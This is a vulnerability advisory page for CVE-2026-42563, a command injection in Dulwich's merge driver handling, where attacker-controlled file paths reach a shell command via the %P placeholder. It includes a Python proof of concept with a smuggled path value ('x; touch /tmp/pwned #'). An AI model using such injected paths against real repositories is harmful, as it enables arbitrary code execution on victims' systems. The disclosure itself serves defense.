PYSEC-2026-2464

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:03
VLAI
Details

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

  • Type: Command Injection
  • Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

  • Repository: https://github.com/dulwich/dulwich
  • Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Impacted products
Name purl
dulwich pkg:pypi/dulwich
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dulwich",
        "purl": "pkg:pypi/dulwich"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.0"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.24.0",
        "0.24.1",
        "0.24.10",
        "0.24.2",
        "0.24.3",
        "0.24.4",
        "0.24.5",
        "0.24.6",
        "0.24.7",
        "0.24.8",
        "0.24.9",
        "0.25.0",
        "0.25.1",
        "0.25.2",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42563",
    "GHSA-9277-mp7x-85jf"
  ],
  "details": "## Summary\n\nDulwich\u0027s `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 \u2014 path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124\u2013127 \u2014 `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119\u2013129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)",
  "id": "PYSEC-2026-2464",
  "modified": "2026-07-13T16:03:57.568480Z",
  "published": "2026-07-13T15:19:13.633568Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jelmer/dulwich"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/dulwich"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9277-mp7x-85jf"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dulwich Vulnerable to Command Injection via Merge Driver Path"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.